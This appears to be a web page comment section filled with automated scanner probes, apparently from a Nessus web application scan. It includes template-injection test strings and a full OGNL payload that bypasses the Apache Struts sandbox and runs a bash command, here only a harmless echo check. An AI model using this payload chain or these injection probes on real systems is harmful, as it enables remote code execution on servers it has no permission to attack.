Views:
Comments (10)
  • %{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,WAS-$((756*701))}'}))}
  • nessus_was_texte5g2x4l7
  • nessus_was_textcrq2g47k
  • 'tnbwas_AjEoso8HMmye'+8071*5161
  • nessus_was_textbuekzmwd
  • nessus_was_text1w2ip5om
  • nessus_was_text8oq8jzcp
  • nessus_was_text5i84l2ku
  • {{'tnbwas_AjEoso8HMmye'+8071*5161}}
  • nessus_was_text5l4dfygi
Add a comment